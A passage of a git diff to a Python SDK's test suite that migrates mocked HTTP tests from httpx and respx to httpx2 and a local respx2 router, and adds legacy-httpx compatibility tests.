def test_sync_retries_and_failure_families(failure: str, monkeypatch: pytest.MonkeyPatch) -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
if len(requests) > 1:
return model_list(request)
@@ -388,7 +375,7 @@ def no_sleep(**_kwargs: Any) -> None:
assert len(requests) == 2
assert all(type(request).__module__ == "httpx2" for request in requests)
- def always_fail(request: httpx.Request) -> httpx.Response:
+ def always_fail(request: httpx2.Request) -> httpx2.Response:
if failure == "timeout":
raise httpx2.ReadTimeout("timeout", request=request)
if failure == "connection":
@@ -419,9 +406,9 @@ def always_fail(request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failure", ["timeout", "connection", "status"])
async def test_async_retries_and_failure_families(failure: str, monkeypatch: pytest.MonkeyPatch) -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
if len(requests) > 1:
return model_list(request)
@@ -450,7 +437,7 @@ async def no_sleep(**_kwargs: Any) -> None:
assert len(requests) == 2
assert all(type(request).__module__ == "httpx2" for request in requests)
- async def always_fail(request: httpx.Request) -> httpx.Response:
+ async def always_fail(request: httpx2.Request) -> httpx2.Response:
if failure == "timeout":
raise httpx2.ReadTimeout("timeout", request=request)
if failure == "connection":
@@ -480,14 +467,14 @@ async def always_fail(request: httpx.Request) -> httpx.Response:
async def test_provider_auth_and_stream_consumed_families() -> None:
- sync_requests: list[httpx.Request] = []
- async_requests: list[httpx.Request] = []
+ sync_requests: list[httpx2.Request] = []
+ async_requests: list[httpx2.Request] = []
- def sync_handler(request: httpx.Request) -> httpx.Response:
+ def sync_handler(request: httpx2.Request) -> httpx2.Response:
sync_requests.append(request)
return model_list(request)
- async def async_handler(request: httpx.Request) -> httpx.Response:
+ async def async_handler(request: httpx2.Request) -> httpx2.Response:
async_requests.append(request)
return model_list(request)
@@ -509,35 +496,39 @@ async def async_handler(request: httpx.Request) -> httpx.Response:
assert async_requests[0].headers["authorization"] == "Bearer bedrock-token"
class SyncStream(httpx2.SyncByteStream):
+ @override
def __iter__(self):
yield b'{"object":"list","data":[]}'
class AsyncStream(httpx2.AsyncByteStream):
+ @override
async def __aiter__(self):
yield b'{"object":"list","data":[]}'
class FailingSyncStream(httpx2.SyncByteStream):
+ @override
def __iter__(self):
yield b"partial"
raise httpx2.ReadTimeout("stream timeout")
class FailingAsyncStream(httpx2.AsyncByteStream):
+ @override
async def __aiter__(self):
yield b"partial"
raise httpx2.ReadTimeout("stream timeout")
- def sync_stream_handler(request: httpx.Request) -> httpx.Response:
+ def sync_stream_handler(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(200, headers={"content-type": "application/json"}, stream=SyncStream(), request=request)
- async def async_stream_handler(request: httpx.Request) -> httpx.Response:
+ async def async_stream_handler(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(200, headers={"content-type": "application/json"}, stream=AsyncStream(), request=request)
- def sync_failing_stream_handler(request: httpx.Request) -> httpx.Response:
+ def sync_failing_stream_handler(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200, headers={"content-type": "application/json"}, stream=FailingSyncStream(), request=request
)
- async def async_failing_stream_handler(request: httpx.Request) -> httpx.Response:
+ async def async_failing_stream_handler(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200, headers={"content-type": "application/json"}, stream=FailingAsyncStream(), request=request
)
@@ -616,21 +607,23 @@ async def on_exception(self, exception: Exception) -> None:
self.exception = exception
class FailingSyncStream(httpx2.SyncByteStream):
+ @override
def __iter__(self):
yield b"partial"
raise httpx2.ReadTimeout("assistant stream timeout")
class FailingAsyncStream(httpx2.AsyncByteStream):
+ @override
async def __aiter__(self):
yield b"partial"
raise httpx2.ReadTimeout("assistant stream timeout")
- def sync_response(request: httpx.Request) -> httpx.Response:
+ def sync_response(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200, headers={"content-type": "text/event-stream"}, stream=FailingSyncStream(), request=request
)
- async def async_response(request: httpx.Request) -> httpx.Response:
+ async def async_response(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200, headers={"content-type": "text/event-stream"}, stream=FailingAsyncStream(), request=request
)
@@ -671,14 +664,14 @@ async def async_response(request: httpx.Request) -> httpx.Response:
async def test_sigv4_provider_preserves_httpx2_family_and_rejects_one_shot_bodies() -> None:
pytest.importorskip("botocore")
- sync_requests: list[httpx.Request] = []
- async_requests: list[httpx.Request] = []
+ sync_requests: list[httpx2.Request] = []
+ async_requests: list[httpx2.Request] = []
- def sync_handler(request: httpx.Request) -> httpx.Response:
+ def sync_handler(request: httpx2.Request) -> httpx2.Response:
sync_requests.append(request)
return model_list(request)
- async def async_handler(request: httpx.Request) -> httpx.Response:
+ async def async_handler(request: httpx2.Request) -> httpx2.Response:
async_requests.append(request)
return model_list(request)
@@ -695,9 +688,9 @@ async def async_handler(request: httpx.Request) -> httpx.Response:
http_client=openai.DefaultHttpx2Client(transport=httpx2.MockTransport(sync_handler), trust_env=False),
max_retries=0,
) as sync_client:
- sync_client.post("/responses", content=b"body", cast_to=httpx.Response)
+ sync_client.post("/responses", content=b"body", cast_to=httpx2.Response)
with pytest.raises(OpenAIError, match="requires a replayable request body"):
- sync_client.post("/responses", content=iter([b"body"]), cast_to=httpx.Response)
+ sync_client.post("/responses", content=iter([b"body"]), cast_to=httpx2.Response)
async def body():
yield b"body"
@@ -707,9 +700,9 @@ async def body():
http_client=openai.DefaultAsyncHttpx2Client(transport=httpx2.MockTransport(async_handler), trust_env=False),
max_retries=0,
) as async_client:
- await async_client.post("/responses", content=b"body", cast_to=httpx.Response)
+ await async_client.post("/responses", content=b"body", cast_to=httpx2.Response)
with pytest.raises(OpenAIError, match="requires a replayable request body"):
- await async_client.post("/responses", content=body(), cast_to=httpx.Response)
+ await async_client.post("/responses", content=body(), cast_to=httpx2.Response)
assert len(sync_requests) == 1
assert len(async_requests) == 1
diff --git a/tests/test_httpx2_base.py b/tests/test_httpx2_base.py
index eb81c69a98..0d0b28351e 100644
--- a/tests/test_httpx2_base.py
+++ b/tests/test_httpx2_base.py
@@ -9,42 +9,28 @@
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from typing_extensions import override
-import httpx
-import respx
+import httpx2
import pytest
import openai
-from openai import OpenAI, AsyncOpenAI, _httpx2 as httpx2_helpers
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
-def test_base_import_does_not_load_httpx2() -> None:
- subprocess.run([sys.executable, "-c", "import sys; import openai; assert 'httpx2' not in sys.modules"], check=True)
+def test_base_import_does_not_load_legacy_httpx() -> None:
+ subprocess.run(
+ [
+ sys.executable,
+ "-c",
+ "import sys; import openai; assert 'httpx2' in sys.modules; assert 'httpx' not in sys.modules",
+ ],
+ check=True,
+ )
-def test_missing_httpx2_extra_is_actionable(monkeypatch: pytest.MonkeyPatch) -> None:
- monkeypatch.setattr(httpx2_helpers.sys, "version_info", (3, 10))
-
- def missing_httpx2(name: str) -> object:
- raise ImportError(name)
-
- monkeypatch.setattr(httpx2_helpers.importlib, "import_module", missing_httpx2)
-
- for helper in (openai.DefaultHttpx2Client, openai.DefaultAsyncHttpx2Client):
- with pytest.raises(RuntimeError, match=r"install the httpx2 extra: pip install 'openai\[httpx2\]'"):
- helper()
-
-
-def test_python39_httpx2_error_is_actionable(monkeypatch: pytest.MonkeyPatch) -> None:
- monkeypatch.setattr(httpx2_helpers.sys, "version_info", (3, 9))
-
- for helper in (openai.DefaultHttpx2Client, openai.DefaultAsyncHttpx2Client):
- with pytest.raises(RuntimeError, match=r"HTTPX2 requires Python 3\.10 or later.*openai\[httpx2\]"):
- helper()
-
-
-@pytest.mark.respx(base_url="https://example.test/v1")
-def test_default_httpx_family_and_respx_are_unchanged(respx_mock: respx.MockRouter) -> None:
- route = respx_mock.get("/models").mock(return_value=httpx.Response(200, json={"object": "list", "data": []}))
+@pytest.mark.respx2(base_url="https://example.test/v1")
+def test_default_client_and_respx_use_httpx2(respx2_mock: MockRouter) -> None:
+ route = respx2_mock.get("/models").mock(return_value=httpx2.Response(200, json={"object": "list", "data": []}))
with warnings.catch_warnings(record=True) as captured:
warnings.simplefilter("always")
@@ -53,35 +39,33 @@ def test_default_httpx_family_and_respx_are_unchanged(respx_mock: respx.MockRout
assert route.called
assert captured == []
- assert isinstance(response.http_response, httpx.Response)
- assert isinstance(response.http_request, httpx.Request)
+ assert isinstance(response.http_response, httpx2.Response)
+ assert isinstance(response.http_request, httpx2.Request)
-async def test_existing_httpx_helpers_and_injected_clients_are_unchanged() -> None:
- class SyncHttpxClient(openai.DefaultHttpxClient):
+async def test_existing_http_client_helpers_default_to_httpx2() -> None:
+ class SyncHttpClient(openai.DefaultHttpxClient):
pass
- class AsyncHttpxClient(openai.DefaultAsyncHttpxClient):
+ class AsyncHttpClient(openai.DefaultAsyncHttpxClient):
pass
- def handler(request: httpx.Request) -> httpx.Response:
- return httpx.Response(200, json={"object": "list", "data": []}, request=request)
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(200, json={"object": "list", "data": []}, request=request)
- with SyncHttpxClient(transport=httpx.MockTransport(handler), trust_env=False) as http_client:
+ with SyncHttpClient(transport=httpx2.MockTransport(handler), trust_env=False) as http_client:
with OpenAI(api_key="test", base_url="https://example.test/v1", http_client=http_client) as client:
response = client.models.with_raw_response.list()
- assert isinstance(response.http_response, httpx.Response)
+ assert isinstance(response.http_response, httpx2.Response)
- async with AsyncHttpxClient(transport=httpx.MockTransport(handler), trust_env=False) as http_client:
+ async with AsyncHttpClient(transport=httpx2.MockTransport(handler), trust_env=False) as http_client:
async with AsyncOpenAI(api_key="test", base_url="https://example.test/v1", http_client=http_client) as client:
response = await client.models.with_raw_response.list()
- assert isinstance(response.http_response, httpx.Response)
-
+ assert isinstance(response.http_response, httpx2.Response)
-async def test_existing_aiohttp_adapter_is_unchanged_when_installed() -> None:
- if importlib.util.find_spec("httpx_aiohttp") is None:
- pytest.skip("the aiohttp extra is not installed")
+@pytest.mark.skipif(importlib.util.find_spec("aiohttp") is None, reason="the aiohttp extra is not installed")
+async def test_default_aiohttp_client_uses_httpx2() -> None:
class ModelsHandler(BaseHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
@@ -103,10 +87,11 @@ def log_message(self, format: str, *_args: object) -> None: # noqa: A002
http_client=openai.DefaultAioHttpClient(),
max_retries=0,
) as client:
+ assert isinstance(client._client, httpx2.AsyncClient)
response = await client.models.with_raw_response.list()
finally:
await asyncio.to_thread(server.shutdown)
thread.join()
server.server_close()
- assert isinstance(response.http_response, httpx.Response)
+ assert isinstance(response.http_response, httpx2.Response)
diff --git a/tests/test_httpx2_respx.py b/tests/test_httpx2_respx.py
index 37c42d9628..ab73b196bc 100644
--- a/tests/test_httpx2_respx.py
+++ b/tests/test_httpx2_respx.py
@@ -2,27 +2,23 @@
import os
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
from openai import OpenAI, AsyncOpenAI, APITimeoutError
+from tests.respx2 import MockRouter
-httpx2 = pytest.importorskip("httpx2")
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
-pytestmark = pytest.mark.skipif(
- os.environ.get("OPENAI_TEST_HTTP_CLIENT") != "httpx2", reason="requires the HTTPX2 test lane"
-)
-@pytest.mark.respx(base_url=base_url)
-def test_respx_bridge_preserves_native_sync_family_and_request_content(client: OpenAI, respx_mock: MockRouter) -> None:
- def mirror(request: httpx.Request) -> httpx.Response:
+@pytest.mark.respx2(base_url=base_url)
+def test_respx2_preserves_native_sync_family_and_request_content(client: OpenAI, respx2_mock: MockRouter) -> None:
+ def mirror(request: httpx2.Request) -> httpx2.Response:
assert request.url.path == "/upload"
assert request.headers["x-test"] == "sync"
- return httpx.Response(200, content=request.content)
+ return httpx2.Response(200, content=request.content)
- respx_mock.post("/upload").mock(side_effect=mirror)
+ respx2_mock.post("/upload").mock(side_effect=mirror)
response = client.post(
"/upload", content=b"sync body", options={"headers": {"x-test": "sync"}}, cast_to=httpx2.Response
@@ -31,19 +27,19 @@ def mirror(request: httpx.Request) -> httpx.Response:
assert isinstance(response, httpx2.Response)
assert isinstance(response.request, httpx2.Request)
assert response.content == b"sync body"
- assert len(respx_mock.calls) == 1
+ assert len(respx2_mock.calls) == 1
-@pytest.mark.respx(base_url=base_url)
-async def test_respx_bridge_preserves_native_async_family_and_request_content(
- async_client: AsyncOpenAI, respx_mock: MockRouter
+@pytest.mark.respx2(base_url=base_url)
+async def test_respx2_preserves_native_async_family_and_request_content(
+ async_client: AsyncOpenAI, respx2_mock: MockRouter
) -> None:
- async def mirror(request: httpx.Request) -> httpx.Response:
+ async def mirror(request: httpx2.Request) -> httpx2.Response:
assert request.url.path == "/upload"
assert request.headers["x-test"] == "async"
- return httpx.Response(200, content=await request.aread())
+ return httpx2.Response(200, content=await request.aread())
- respx_mock.post("/upload").mock(side_effect=mirror)
+ respx2_mock.post("/upload").mock(side_effect=mirror)
response = await async_client.post(
"/upload", content=b"async body", options={"headers": {"x-test": "async"}}, cast_to=httpx2.Response
@@ -52,12 +48,12 @@ async def mirror(request: httpx.Request) -> httpx.Response:
assert isinstance(response, httpx2.Response)
assert isinstance(response.request, httpx2.Request)
assert response.content == b"async body"
- assert len(respx_mock.calls) == 1
+ assert len(respx2_mock.calls) == 1
-@pytest.mark.respx(base_url=base_url)
-def test_respx_bridge_maps_timeout_to_native_family(client: OpenAI, respx_mock: MockRouter) -> None:
- respx_mock.get("/models").mock(side_effect=httpx.ReadTimeout("mock timeout"))
+@pytest.mark.respx2(base_url=base_url)
+def test_respx2_maps_timeout_to_native_family(client: OpenAI, respx2_mock: MockRouter) -> None:
+ respx2_mock.get("/models").mock(side_effect=httpx2.ReadTimeout("mock timeout"))
with pytest.raises(APITimeoutError) as exc_info:
client.with_options(max_retries=0).models.list()
diff --git a/tests/test_httpx2_workload.py b/tests/test_httpx2_workload.py
index 14bb997248..fdc787c18c 100644
--- a/tests/test_httpx2_workload.py
+++ b/tests/test_httpx2_workload.py
@@ -1,12 +1,10 @@
from __future__ import annotations
import json
-from typing import Any, NoReturn, cast
+from typing import Any
-import httpx
-import respx
+import httpx2
import pytest
-from respx.models import Call
import openai._base_client as base_client
import openai.auth._workload as workload
@@ -21,8 +19,6 @@
)
from openai.auth import WorkloadIdentity
-httpx2 = pytest.importorskip("httpx2")
-
def workload_identity(get_token: Any = lambda: "subject-token") -> WorkloadIdentity:
return {
@@ -36,10 +32,6 @@ def exchange_payload(access_token: str) -> dict[str, object]:
return {"access_token": access_token, "expires_in": 3600}
-def forbidden_httpx_send(*_args: Any, **_kwargs: Any) -> NoReturn:
- pytest.fail("HTTPX unexpectedly sent a request")
-
-
def test_sync_httpx2_workload_exchange_is_native_and_cached(monkeypatch: pytest.MonkeyPatch) -> None:
exchange_requests: list[Any] = []
api_requests: list[Any] = []
@@ -63,7 +55,6 @@ def api_handler(request: Any) -> Any:
return httpx2.Response(200, request=request, json={"object": "list", "data": []})
monkeypatch.setattr(workload, "DefaultHttpx2Client", exchange_client)
- monkeypatch.setattr(httpx.Client, "send", forbidden_httpx_send)
with OpenAI(
workload_identity=workload_identity(get_token),
@@ -111,8 +102,6 @@ async def api_handler(request: Any) -> Any:
return httpx2.Response(status_code, request=request, json={"object": "list", "data": []})
monkeypatch.setattr(workload, "DefaultHttpx2Client", exchange_client)
- monkeypatch.setattr(httpx.Client, "send", forbidden_httpx_send)
- monkeypatch.setattr(httpx.AsyncClient, "send", forbidden_httpx_send)
async with AsyncOpenAI(
workload_identity=workload_identity(),
@@ -150,7 +139,6 @@ def default_client(**kwargs: Any) -> Any:
monkeypatch.setattr(base_client, "SyncHttpxClientWrapper", default_client)
monkeypatch.setattr(workload, "DefaultHttpx2Client", exchange_client)
- monkeypatch.setattr(httpx.Client, "send", forbidden_httpx_send)
with OpenAI(
workload_identity=workload_identity(),
@@ -188,8 +176,6 @@ def default_client(**kwargs: Any) -> Any:
monkeypatch.setattr(base_client, "AsyncHttpxClientWrapper", default_client)
monkeypatch.setattr(workload, "DefaultHttpx2Client", exchange_client)
- monkeypatch.setattr(httpx.Client, "send", forbidden_httpx_send)
- monkeypatch.setattr(httpx.AsyncClient, "send", forbidden_httpx_send)
async with AsyncOpenAI(
workload_identity=workload_identity(),
@@ -273,33 +259,3 @@ def api_handler(request: Any) -> Any:
client.models.list()
assert type(exc_info.value.__cause__).__module__ == "httpx2"
-
-
-def test_httpx_workload_exchange_stays_httpx_when_httpx2_is_installed(monkeypatch: pytest.MonkeyPatch) -> None:
- api_requests: list[httpx.Request] = []
-
- def forbidden_httpx2(**_kwargs: Any) -> Any:
- pytest.fail("HTTPX2 unexpectedly created a workload exchange client")
-
- def api_handler(request: httpx.Request) -> httpx.Response:
- api_requests.append(request)
- return httpx.Response(200, request=request, json={"object": "list", "data": []})
-
- monkeypatch.setattr(workload, "DefaultHttpx2Client", forbidden_httpx2)
-
- with respx.mock(assert_all_mocked=False) as router:
- exchange = router.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(200, json=exchange_payload("access-token"))
- )
- with OpenAI(
- workload_identity=workload_identity(),
- base_url="https://api.example.test/v1",
- http_client=httpx.Client(transport=httpx.MockTransport(api_handler), trust_env=False),
- max_retries=0,
- ) as client:
- assert client.models.list().object == "list"
-
- assert exchange.call_count == 1
- assert len(api_requests) == 1
- assert isinstance(cast(Call, exchange.calls[0]).request, httpx.Request)
- assert isinstance(api_requests[0], httpx.Request)
diff --git a/tests/test_httpx_compat.py b/tests/test_httpx_compat.py
new file mode 100644
index 0000000000..cb00e9b00f
--- /dev/null
+++ b/tests/test_httpx_compat.py
@@ -0,0 +1,88 @@
+from __future__ import annotations
+
+import os
+import asyncio
+import importlib
+import threading
+from typing import Any, cast
+from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
+from typing_extensions import override
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+
+pytestmark = pytest.mark.skipif(
+ os.environ.get("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires the dedicated legacy HTTPX compatibility lane"
+)
+
+
+def test_external_legacy_httpx_client_is_supported() -> None:
+ httpx = cast(Any, importlib.import_module("httpx"))
+
+ def handler(request: Any) -> Any:
+ return httpx.Response(200, request=request, json={"object": "list", "data": []})
+
+ with OpenAI(
+ api_key="test",
+ base_url="https://example.test/v1",
+ http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ max_retries=0,
+ ) as client:
+ assert isinstance(client._client, httpx.Client)
+ response = client.models.list()
+
+ assert response.data is not None
+
+
+async def test_external_legacy_async_httpx_client_is_supported() -> None:
+ httpx = cast(Any, importlib.import_module("httpx"))
+
+ async def handler(request: Any) -> Any:
+ return httpx.Response(200, request=request, json={"object": "list", "data": []})
+
+ async with AsyncOpenAI(
+ api_key="test",
+ base_url="https://example.test/v1",
+ http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ max_retries=0,
+ ) as client:
+ assert isinstance(client._client, httpx.AsyncClient)
+ response = await client.models.list()
+
+ assert response.data is not None
+
+
+async def test_external_legacy_aiohttp_client_is_supported() -> None:
+ httpx = cast(Any, importlib.import_module("httpx"))
+ HttpxAiohttpClient = cast(Any, importlib.import_module("httpx_aiohttp")).HttpxAiohttpClient
+
+ class ModelsHandler(BaseHTTPRequestHandler):
+ def do_GET(self) -> None:
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json")
+ self.end_headers()
+ self.wfile.write(b'{"object":"list","data":[]}')
+
+ @override
+ def log_message(self, format: str, *_args: object) -> None: # noqa: A002
+ return None
+
+ server = ThreadingHTTPServer(("127.0.0.1", 0), ModelsHandler)
+ thread = threading.Thread(target=server.serve_forever)
+ thread.start()
+ try:
+ async with AsyncOpenAI(
+ api_key="test",
+ base_url=f"http://127.0.0.1:{server.server_port}/v1",
+ http_client=HttpxAiohttpClient(),
+ max_retries=0,
+ ) as client:
+ assert isinstance(client._client, httpx.AsyncClient)
+ response = await client.models.list()
+ finally:
+ await asyncio.to_thread(server.shutdown)
+ thread.join()
+ server.server_close()
+
+ assert response.data is not None
diff --git a/tests/test_legacy_response.py b/tests/test_legacy_response.py
index 9da1a80659..236c6c259b 100644
--- a/tests/test_legacy_response.py
+++ b/tests/test_legacy_response.py
@@ -2,7 +2,7 @@
from typing import Any, Union, cast
from typing_extensions import Annotated
-import httpx
+import httpx2
import pytest
import pydantic
@@ -19,7 +19,7 @@ class PydanticModel(pydantic.BaseModel): ...
def test_response_parse_mismatched_basemodel(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=client,
stream=False,
stream_cls=None,
@@ -47,7 +47,7 @@ def test_response_parse_mismatched_basemodel(client: OpenAI) -> None:
)
def test_response_parse_bool(client: OpenAI, content: str, expected: bool) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=content),
+ raw=httpx2.Response(200, content=content),
client=client,
stream=False,
stream_cls=None,
@@ -61,7 +61,7 @@ def test_response_parse_bool(client: OpenAI, content: str, expected: bool) -> No
def test_response_parse_custom_stream(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=client,
stream=True,
stream_cls=None,
@@ -80,7 +80,7 @@ class CustomModel(BaseModel):
def test_response_parse_custom_model(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=client,
stream=False,
stream_cls=None,
@@ -95,7 +95,7 @@ def test_response_parse_custom_model(client: OpenAI) -> None:
def test_response_basemodel_request_id(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(
+ raw=httpx2.Response(
200,
headers={"x-request-id": "my-req-id"},
content=json.dumps({"foo": "hello!", "bar": 2}),
@@ -118,7 +118,7 @@ def test_response_basemodel_request_id(client: OpenAI) -> None:
def test_response_parse_annotated_type(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=client,
stream=False,
stream_cls=None,
@@ -140,7 +140,7 @@ class OtherModel(pydantic.BaseModel):
@pytest.mark.parametrize("client", [False], indirect=True) # loose validation
def test_response_parse_expect_model_union_non_json_content(client: OpenAI) -> None:
response = LegacyAPIResponse(
- raw=httpx.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
+ raw=httpx2.Response(200, content=b"foo", headers={"Content-Type": "application/text"}),
client=client,
stream=False,
stream_cls=None,
diff --git a/tests/test_module_client.py b/tests/test_module_client.py
index cb509d3d19..ff099d5056 100644
--- a/tests/test_module_client.py
+++ b/tests/test_module_client.py
@@ -4,9 +4,9 @@
import os as _os
-import httpx
+import httpx2
import pytest
-from httpx import URL
+from httpx2 import URL
import openai
from openai import DEFAULT_TIMEOUT, DEFAULT_MAX_RETRIES
@@ -94,7 +94,7 @@ def test_http_client_option() -> None:
original_http_client = openai.completions._client._client
assert original_http_client is not None
- new_client = httpx.Client()
+ new_client = httpx2.Client()
openai.http_client = new_client
assert openai.completions._client._client is new_client
@@ -254,15 +254,15 @@ def test_bedrock_module_api_key_overrides_cached_env_token_after_load() -> None:
def test_bedrock_module_api_key_switches_cached_aws_client_to_bearer() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with fresh_env():
openai.api_type = "amazon-bedrock"
- openai.http_client = httpx.Client(transport=httpx.MockTransport(handler), trust_env=False)
+ openai.http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
_os.environ["AWS_ACCESS_KEY_ID"] = "access key"
_os.environ["AWS_SECRET_ACCESS_KEY"] = "secret key"
_os.environ["AWS_REGION"] = "us-west-2"
@@ -272,7 +272,7 @@ def handler(request: httpx.Request) -> httpx.Response:
assert client._uses_aws_auth()
openai.api_key = "new Bedrock token"
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert requests[0].headers["Authorization"] == "Bearer new Bedrock token"
@@ -290,7 +290,7 @@ def test_bedrock_api_type_uses_token_provider_without_mutating_module_api_key()
def test_bedrock_module_api_key_overrides_cached_token_provider() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
provider_calls = 0
def token_provider() -> str:
@@ -298,21 +298,21 @@ def token_provider() -> str:
provider_calls += 1
raise AssertionError("the replaced token provider must not be called")
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with fresh_env():
openai.api_type = "amazon-bedrock"
openai.bedrock_token_provider = token_provider
- openai.http_client = httpx.Client(transport=httpx.MockTransport(handler), trust_env=False)
+ openai.http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
_os.environ["AWS_REGION"] = "us-west-2"
client = openai.responses._client
assert isinstance(client, BedrockOpenAI)
openai.api_key = "new Bedrock token"
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert provider_calls == 0
assert requests[0].headers["Authorization"] == "Bearer new Bedrock token"
diff --git a/tests/test_response.py b/tests/test_response.py
index 43f24c150d..fba775e873 100644
--- a/tests/test_response.py
+++ b/tests/test_response.py
@@ -2,7 +2,7 @@
from typing import Any, List, Union, cast
from typing_extensions import Annotated
-import httpx
+import httpx2
import pytest
import pydantic
@@ -27,7 +27,7 @@ class ConcreteBaseAPIResponse(APIResponse[bytes]): ...
class ConcreteAPIResponse(APIResponse[List[str]]): ...
-class ConcreteAsyncAPIResponse(APIResponse[httpx.Response]): ...
+class ConcreteAsyncAPIResponse(APIResponse[httpx2.Response]): ...
def test_extract_response_type_direct_classes() -> None:
@@ -47,7 +47,7 @@ def test_extract_response_type_direct_class_missing_type_arg() -> None:
def test_extract_response_type_concrete_subclasses() -> None:
assert extract_response_type(ConcreteBaseAPIResponse) == bytes
assert extract_response_type(ConcreteAPIResponse) == List[str]
- assert extract_response_type(ConcreteAsyncAPIResponse) == httpx.Response
+ assert extract_response_type(ConcreteAsyncAPIResponse) == httpx2.Response
def test_extract_response_type_binary_response() -> None:
@@ -60,7 +60,7 @@ class PydanticModel(pydantic.BaseModel): ...
def test_response_parse_mismatched_basemodel(client: OpenAI) -> None:
response = APIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=client,
stream=False,
stream_cls=None,
@@ -78,7 +78,7 @@ def test_response_parse_mismatched_basemodel(client: OpenAI) -> None:
@pytest.mark.asyncio
async def test_async_response_parse_mismatched_basemodel(async_client: AsyncOpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=async_client,
stream=False,
stream_cls=None,
@@ -95,7 +95,7 @@ async def test_async_response_parse_mismatched_basemodel(async_client: AsyncOpen
def test_response_parse_custom_stream(client: OpenAI) -> None:
response = APIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=client,
stream=True,
stream_cls=None,
@@ -110,7 +110,7 @@ def test_response_parse_custom_stream(client: OpenAI) -> None:
@pytest.mark.asyncio
async def test_async_response_parse_custom_stream(async_client: AsyncOpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=b"foo"),
+ raw=httpx2.Response(200, content=b"foo"),
client=async_client,
stream=True,
stream_cls=None,
@@ -129,7 +129,7 @@ class CustomModel(BaseModel):
def test_response_parse_custom_model(client: OpenAI) -> None:
response = APIResponse(
- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=client,
stream=False,
stream_cls=None,
@@ -145,7 +145,7 @@ def test_response_parse_custom_model(client: OpenAI) -> None:
@pytest.mark.asyncio
async def test_async_response_parse_custom_model(async_client: AsyncOpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
+ raw=httpx2.Response(200, content=json.dumps({"foo": "hello!", "bar": 2})),
client=async_client,
stream=False,
stream_cls=None,
@@ -160,7 +160,7 @@ async def test_async_response_parse_custom_model(async_client: AsyncOpenAI) -> N
def test_response_basemodel_request_id(client: OpenAI) -> None:
response = APIResponse(
- raw=httpx.Response(
+ raw=httpx2.Response(
200,
headers={"x-request-id": "my-req-id"},
content=json.dumps({"foo": "hello!", "bar": 2}),
@@ -184,7 +184,7 @@ def test_response_basemodel_request_id(client: OpenAI) -> None:
@pytest.mark.asyncio
async def test_async_response_basemodel_request_id(client: OpenAI) -> None:
response = AsyncAPIResponse(
- raw=httpx.Response(
+ raw=httpx2.Response(
200,
headers={"x-request-id": "my-req-id"},
content=json.dumps({"foo": "hello!", "bar": 2}),
@@ -205,7 +205,7 @@ async def test_async_response_basemodel_request_id(client: OpenAI) -> None:
def test_response_parse_annotated_type(client: OpenAI) -> None:
response = APIResponse(
